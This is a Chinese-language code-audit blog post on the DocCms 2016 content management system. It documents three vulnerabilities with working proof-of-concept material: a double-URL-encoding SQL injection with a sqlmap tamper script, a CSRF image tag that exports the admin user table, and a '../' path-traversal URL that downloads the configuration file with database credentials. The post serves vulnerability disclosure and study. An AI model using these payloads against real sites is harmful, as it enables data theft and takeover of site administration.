zoukankan      html  css  js  c++  java
  • 代码审计之DocCms漏洞分析

    0x01 前言

    DocCms[音译:稻壳Cms] ,定位于为企业、站长、开发者、网络公司、VI策划设计公司、SEO推广营销公司、网站初学者等用户 量身打造的一款全新企业建站、内容管理系统,服务于企业品牌信息化建设,也适应用个人、门户网站建设!

    0x02 环境搭建

    DocCms官网:http://www.doccms.com

    程序源码:DocCms2016

    下载地址:https://pan.baidu.com/s/1pLclifL

    0x03 SQL注入

    代码分析

    在/content/search/index.php中,首先对参数keyword进行非法字符检测,

    进一步追溯checkSqlStr函数,看代码如何过滤,在/inc/function.php中

    checkSqlStr函数对传入的字符串进行正则匹配,检测是否函数非法字符。

    继续看在/content/search/index.php中的get_search_result函数:

    参数keyword进行非法字符检测后,进行url解码,然后拼接到SQL语句中执行。

    如果我们传入双重url编码的字符串,将绕过非法字符检测,然后经urldecode解码,带入数据库中执行,导致SQL注入漏洞存在。

    漏洞利用

    双重URLencode编码绕过,可通过编写tamper绕过URLencode双重编码,tamper脚本如下:

    #!/usr/bin/env python
    import re
    from urllib import quote
    from lib.core.data import kb
    from lib.core.enums import PRIORITY
    
    __priority__ = PRIORITY.NORMAL
    
    def dependencies():
        pass
    def tamper(payload, **kwargs):
        retVal = payload
        retVal = quote(quote(retVal))    
        return retVal

    通过SQLMAP加载tamper脚本,获取数据库敏感数据

    0x04 CSRF

    代码分析

    在doccmsadminicontrollerssystemack.php

    export函数直接对提交上来的参数tables/sizelimit进行处理,导出sql备份文件,未对访问来源进行有效验证,导致数据库备份模块存在CSRF漏洞。

    漏洞利用

    1、构造CSRF漏洞利用代码,只备份管理员用户表doc_user:

     <H2> CRSFTester</H2>
    <img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=开始备份数据" width="0" height="0" border="0"/>
    

    2、在网站首页在线留言提交CSRF漏洞利用代码:

    3、当管理员在后台查看留言信息时,自动备份数据库到/doccms/temp/data目录下:

    0x05 任意文件下载

    代码分析

    在doccmsadminicontrollerssystemack.php中,

    download函数只对文件名进行简单的判断,然后把filename拼接到路径中进行下载,导致网站存在任意文件下载漏洞。

    漏洞利用

    1、构造url下载全局配置文件获取敏感信息:http://127.0.0.1/admini/index.php?m=system&s=bakup&a=download&filename=../../config/doc-config-cn.php

     

     2、获取到数据库账号密码等敏感信息:

    未完,待续。

     

    关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

  • 相关阅读:
    sql强化训练(4)
    Python中用PIL/Pillow裁剪图片
    Python中用PIL/Pillow旋转图片
    server项目部署服务器
    ZOJ Monthly, June 2012 [7月9日暑假集训]
    模线性方程(递归版+迭代版)& 扩展欧几里德
    线性筛素数
    First Bangladeshi Contest 20122013 Season[7月12日暑假集训]
    36th ACM/ICPC Asia Regional Daejeon(韩国大田) [7月7日暑假集训]
    MillerRabin 素性测试
  • 原文地址:https://www.cnblogs.com/xiaozi/p/8723430.html
Copyright © 2011-2022 走看看